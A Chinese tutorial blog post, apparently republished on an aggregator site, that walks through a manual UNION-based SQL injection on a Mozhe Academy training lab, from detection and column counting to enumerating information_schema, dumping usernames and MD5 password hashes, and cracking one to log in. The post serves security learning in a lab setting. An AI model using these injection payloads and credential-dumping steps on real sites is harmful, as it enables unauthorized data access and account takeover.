iis服务器助手广告广告
返回顶部
首页 > 资讯 > 后端开发 > PHP编程 >实战感受SQL注入(手工注入)
  • 593
分享到

实战感受SQL注入(手工注入)

sql数据库php 2023-08-31 14:08:27 593人浏览 安东尼
摘要

前言 在上篇文章中我们介绍了sql注入漏洞,并且用简单的PHP代码,介绍了SQL注入漏洞可能出现的情况和原理。这篇文章就让我们通过实战来感受一下SQL注入。 实战感受SQL注入 墨者学院手工SQL注入

前言

在上篇文章中我们介绍了sql注入漏洞,并且用简单的PHP代码,介绍了SQL注入漏洞可能出现的情况和原理。这篇文章就让我们通过实战来感受一下SQL注入。

实战感受SQL注入

墨者学院手工SQL注入

点击WEB安全,点击SQL注入

在这里插入图片描述

我们使用墨者学院的SQL手工注入漏洞测试Mysql数据库),点击启动靶场环境

image-20230314212037495

访问下方给的IP和端口,或点击 [点击访问]

image-20230318102915358

点击关于平台停机维护

image-20230318103348498

跳转页面后,我们看地址栏中又?id,该处通过GET参数传递

image-20230318103551129

我们在此处可以使用让其出错的方式验证,尝试验证此处参数是否传入后台,并代入数据库查询

在?id=1后面输入 and 1=2

image-20230318103725863

发现页面显示出错,说明此处的参数是有被传入后台并且代入数据库查询

  • 在上篇文章中我们说过不仅可以使用 and 1=2的方式来检测,只要让其出错即可,所以我们在?id=1后面随便输入sdagwogsosn也是ok的

在SQL注入中很经常使用uNIOn查询来查询我们想要的信息,但是基于数据库的只是,我们知道当我们使用SQL语句进行查询的时候需要知道有几个字段。

但问题是我们此时进行的是黑盒测试,也就是我们并不知道数据库的结构是什么样子的,那么此时我们该怎么办呢?

在SQL注入中很经常使用order by猜测有几个字段

  • order by [n]
    • order by 1
    • order by 2
  • 直到页面回显不正常,此时我们就能够得知有n-1个字段

我们回到实战中, 我们在?id后面输入 order by 4

image-20230318104727270

发现页面是正常回显,再次在?id后面输入 order by 5

image-20230318104806938

此时发现页面回显不正常,说明字段数就为5-1=4个

当我们知道了字段数之后就可以使用联合查询(union)

由于我们已经知道了有四个字段,所以直接就可以在?id=1后面加上 union select 1,2,3,4

  • 我们猜测他在代码中所写的语句应该是如下:
$id = $_GET["id"];$sql = "select [四个字段] from [表] where id=$id";

这里的$id就是我们通过GET方式传入的参数

  • 如果当我们传入?id=1 union select 1,2,3,4完整的SQL语句为:select [四个字段] from [表] where id=1 union select 1,2,3,4

image-20230318105723381

发现页面回显正常,紧接着我们使union前的语句为假

  • 可以改变id=-1
  • 也可以在id=1后面加上and 1=2
  • 这里我使用id=-1的方式

image-20230318112642284

我们发现页面回显了2和3。我们可以在union语句后的2和3处填入我们想要查询的信息

  • version():数据库版本
  • database():数据库的名字
  • user():数据库的用户
  • @@version_compile_os:操作系统

将2和3的位置上填入version()和database()

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-hdfoAM4f-1679114292375)(null)]

发现返回了数据库版本和数据库的名称

再在2和3的输入user()和@@version_compile_os

image-20230318113622669

得到信息:

  • 数据库版本:5.7.22-0ubuntu0.16.04.1
  • 数据库名:mozhe_Discuz_StORMGroup
  • 操作系统:linux
  • 数据库的用户名:root@localhost

当我们拿到这些信息之后可以有进一步的操作,我们可以通过拿到的数据库名进行查看该数据库下的表名

  • mysql中有一些MySQL自带的表,这些表中储存了数据库的一些信息
  • information_shchema中的tables中储存了数据库中的各个表名,并且其存储表名的列名为table_name

我们可以在?id=-1后面输入union select 1,table_name,3,4 from information_schema.tables where table_schema = 'mozhe_Discuz_StormGroup'

  • 被代入SQL语句为:select table_name from information_schema.tables where table_schema = 'mozhe_Discuz_StormGroup'

在这里插入图片描述

页面中返回了表名,这里只能输出了一个表名,但是不代表这个数据库下只有一张表

我们可以使用group_concat()让其输出所有的表名

在?id=-1后面输入union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema = 'mozhe_Discuz_StormGroup'

  • SQL语句为:select group_concat(table_name) from information_schema.tables where table_schema = 'mozhe_Discuz_StormGroup'

image-20230318115118850

我们发现将该数据库下的表名都输出了

  1. StormGroup_member
  2. notice

当我们使用SQL语句进行查询的时候,需要知道表名外还需要知道列名,举个很简单的例子

  • select username from user
  • 上面的SQL语句中我们需要知道user这个表名,此外我们还需要知道username这个列名

所以当我们拿到表名之后,紧接着我们就需要知道列名,才能查询到我们想要的信息

  • information_shcema中的columns存储了各个表中的列名,并且其存储列名的列名为column_name

回顾刚才我们查找到的数据库名,根据数据库名的意思我们发现StormGroup_member存放的应该是用户的信息,更具有价值所以我们优先查询StormGroup_member下的列名信息

在?id=-1后面输入union select 1,column_name,3,4 from information_schema.columns where table_name = 'StormGroup_member'

  • SQL语句为:select column_name from information_schema.columns where table_name = 'StormGroup_member'

image-20230318120600177

我们发现其也只输出了一个列名,所以我们依然可以使用group_concat()让其输出所有的列名

在?id=-1后面输入union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name = 'StormGroup_member'

  • SQL语句为:select group_concat(column_name) from information_schema.columns where table_name = 'StormGroup_member'

image-20230318120929962

页面回显除了StormGroup_member表下所有的列名

到此我们就可以使用这些列名查询相关的信息了,我们查询name和passWord

在?id=-1后面输入union select 1,group_concat(name),group_concat(password) from StormGroup_member

  • 我们知道group_concat()是用来输出所有的数据的,同样我们们也可以使用limit
    • union select 1,name,password,4 from StormGroup_member limit 0,1
      • 0代表从第一个开始
      • 1代表输出一个
    • union select 1,name,password,4 from StormGroup_member limit 1,1
      • 1代表从第二个开始
      • 1代表输出一个
    • union select 1,name,password,4 from StormGroup_member limit 2,1
      • 2代表从第三个开始
      • 1代表输出一个
    • 直到返回异常则表示,没有数据了(到底了)也就是没有数据了
  • 通过此方法也可以输出数据

我们使用group_concat()的方法

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-uvpY9maW-1679114292387)(null)]

发现输出了用户名和密码,我们使用其中一组尝试登录

image-20230318121711795发现错误,这时我们想到可能是密码进行了加密,这个加密的方式我们可以看出是md5加密,于是我们访问md5加密解密的网站

搜索md5解密即可

image-20230318121833904

将刚才得到的md5进行解密,得到了密码dsan13

image-20230318122040320

再次返回刚才的登录界面,尝试登陆

image-20230318122221713

发现用户被禁用或不存在用户,不过没关系,刚才我们在获取用户名密码的时候有两组,我们使用另一组,对另一组的密码进行md5解密,再次尝试登录

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-FXJ2ZW7a-1679114288267)(null)]

成功进入后台,并且拿到了KEY

复制KEY之后返回刚才进入靶场的界面,点击提交KEY

image-20230318122427272

将刚才的KEY复制进去点击确定

image-20230318122450813

弹窗左下角显示KEY正确即为成功

image-20230318122544672

知识点总结

MySQL中的系统库

库:

  • information_shcema

表:

这些库都是在information_schema库中,information_shcema.tables的意思就是information_schema库下的tables表

  • tables:存放数据库中的表信息
  • columns:存放各表中的列名信息

列名:

  • table_name:tables表中存放表名的列名
  • column_name:columns表中存放各个表中列名的列名

MySQL中的一些特殊列

  • version():数据库版本
  • database():数据库的名字
  • user():数据库的用户
  • @@version_compile_os:操作系统

结束语

到此,你就完成了第一次靶场的练习,你感受了SQL手工注入。

希望本文能够帮助到你 😃

本文已同步更新至个人博客:https://www.hibugs.net/security/vulnerability/sql-insert/lamar/sql-insert-hdwrk

来源地址:https://blog.csdn.net/qq_45477063/article/details/129635255

--结束END--

本文标题: 实战感受SQL注入(手工注入)

本文链接: https://www.lsjlt.com/news/385846.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

本篇文章演示代码以及资料文档资料下载

下载Word文档到电脑,方便收藏和打印~

下载Word文档
猜你喜欢
  • 实战感受SQL注入(手工注入)
    前言 在上篇文章中我们介绍了SQL注入漏洞,并且用简单的php代码,介绍了SQL注入漏洞可能出现的情况和原理。这篇文章就让我们通过实战来感受一下SQL注入。 实战感受SQL注入 墨者学院手工SQL注入...
    99+
    2023-08-31
    sql 数据库 php
  • DVWA-----SQL Injection(SQL手工注入)
    目录 一、SQL注入 1.SQL注入原理  2.SQL注入分类 3.SQL注入思路 4.SQL注入绕过方法 二、SQL注入漏洞的分析         1. 定义 2. 原因 3.危害 三、Web 程序三层架构 四、SQL Injection...
    99+
    2023-09-05
    sql 数据库 服务器 web安全 php
  • sql注入之手工注入的示例分析
    这篇文章将为大家详细讲解有关sql注入之手工注入的示例分析,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。为了方便说明,我们还是用之前的数字型的注入点为例来进行说明。得到字...
    99+
    2024-04-02
  • 实战绕过WTS-WAF的SQL注入
    实战绕过WTS-WAF的SQL注入 1.前言2.测试流程2.1.发现漏洞2.1.1.正常页面2.1.2.WAF警告2.1.3.非正常页面 2.2.判断字段数2.2.1.非正常页面2.2....
    99+
    2023-09-10
    数据库 mysql web安全 网络安全 信息与通信
  • sql手工注入的方法是什么
    这篇文章主要介绍“sql手工注入的方法是什么”的相关知识,小编通过实际案例向大家展示操作过程,操作方法简单快捷,实用性强,希望这篇“sql手工注入的方法是什么”文章能帮助大家解决问题。判断注入点1.单引号法...
    99+
    2024-04-02
  • sql注入之堆叠注入
    一、堆叠注入的原理 mysql数据库sql语句的默认结束符是以";"号结尾,在执行多条sql语句时就要使用结束符隔 开,而堆叠注入其实就是通过结束符来执行多条sql语句 比如我们在mysql的命令行...
    99+
    2023-09-09
    sql mysql php 信息安全 网络安全
  • SQL注入进阶-order by注入
    目录 01-Order By简介 02-Order By注入场景 03-Order By注入姿势 03.1-结合union select进行盲注 03.2-结合if()进行盲注 03.3-结合if() + sleep()进行盲注 ...
    99+
    2023-08-31
    sql php
  • php sql注入
    文章目录 一、什么是sql注入二、sql注入处理1、使用内置函数2、使用pdo预处理语句 三、安全注意事项 一、什么是sql注入 在应用程序中,为了和用户交互,允许用户提交输入数...
    99+
    2023-08-30
    sql php mysql php sql 注入 sql 注入
  • sql注入工具怎么使用
    首先需要说明的是,SQL注入是一种非法的攻击手段,使用SQL注入工具进行攻击是违法的行为,不应该进行。下面仅仅是为了提供知识参考,不...
    99+
    2023-05-15
    sql注入工具 sql
  • SQL注入教程之报错注入
    目录SQL报错注入概述报错注入的前提条件Xpath类型函数extractvalue()updatexml()其他函数floor()、rand()、count()、group...
    99+
    2024-04-02
  • SQL注入之盲注怎么实现
    这篇文章主要介绍“SQL注入之盲注怎么实现”的相关知识,小编通过实际案例向大家展示操作过程,操作方法简单快捷,实用性强,希望这篇“SQL注入之盲注怎么实现”文章能帮助大家解决问题。sql注入——盲注1.回顾...
    99+
    2024-04-02
  • Mybatis-plus sql注入及防止sql注入详解
    目录一、SQL注入是什么?二、mybatis是如何做到防止sql注入的1. #{} 和 ${} 两者的区别2.PreparedStatement和Statement的区别3.什么是预...
    99+
    2022-11-13
    mybatis-plus sql注入 mybatis-plus防止sql注入
  • 怎么实现SQL注入
    今天就跟大家聊聊有关怎么实现SQL注入,可能很多人都不太了解,为了让大家更加了解,小编给大家总结了以下内容,希望大家根据这篇文章可以有所收获。什么是SQL注入SQL注入是指通过构建特殊的输入篡改原来的SQL语句达到攻击者所需的操作。Sql ...
    99+
    2023-06-15
  • 简单聊一聊SQL注入及防止SQL注入
    目录SQL注入附防止sql注入的一些建议总结SQL注入 SQL注入是通过操作输入来修改事先定义好的SQL语句,对用户输入的字符串进行过滤,转义,限制或处理不严谨,导致用户可以通过输入...
    99+
    2024-04-02
  • SQL注入篇学习之盲注/宽字节注入
    目录盲注布尔盲注时间盲注盲注函数length() 函数 返回字符串的长度演示语句burp抓包演示宽字节注入php魔术函数开启方式开启效果作用绕过方法宽字节注入总结 盲注 有...
    99+
    2024-04-02
  • SQL注入基础
    引言 靓仔们是否经常听到sql注入呢,那么sql注入到底是什么? 引用微软官方的语言来说: SQL 注入是一种攻击方式,在这种攻击方式中,在字符串中插入恶意代码,然后将该字符串传递到 SQL Server 的实例以进行分析和执行。 构成...
    99+
    2023-09-18
    数据库 服务器 mysql
  • 防止SQL注入
    SQL注入是指攻击者通过在输入的数据中注入恶意的SQL代码,以获取非法访问、窃取敏感信息等操作。以下是一些防止SQL注入的方法: 使用参数化查询:使用参数化查询可以防止SQL注入攻击,参数化查询是指在执行查询时,将参数与查询语句分离,使得...
    99+
    2023-09-10
    sql 数据库 java mysql
  • SQL注入详解
    本文首发于:行者AI 现在大多数系统都使用B/S架构,出于安全考虑需要过滤从页面传递过来的字符。通常,用户可以通过以下接口调用数据库的内容:URL地址栏、登陆界面、留言板、搜索框等。这往往会出现...
    99+
    2023-09-05
    sql 数据库 php
  • pikachu之SQL注入
    一. pikachu介绍 1.1 简介 Pikachu是一个带有漏洞的Web应用系统,在这里包含了常见的web安全漏洞。 如果你是一个Web渗透测试学习人员且正发愁没有合适的靶场进行练习,那么Pikachu可能正合你意。 1.2 pikac...
    99+
    2023-09-02
    sql php 安全
  • 【SQL注入详解】
    文章目录 前言题目1.SQL注入原理,危害,类型,防护措施,绕过方式,写入webshell的前提条件原理:危害:类型:1.union联合注入2.报错注入3.布尔盲注4.时间盲注5.二...
    99+
    2023-09-05
    sql 数据库 安全 php web安全
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作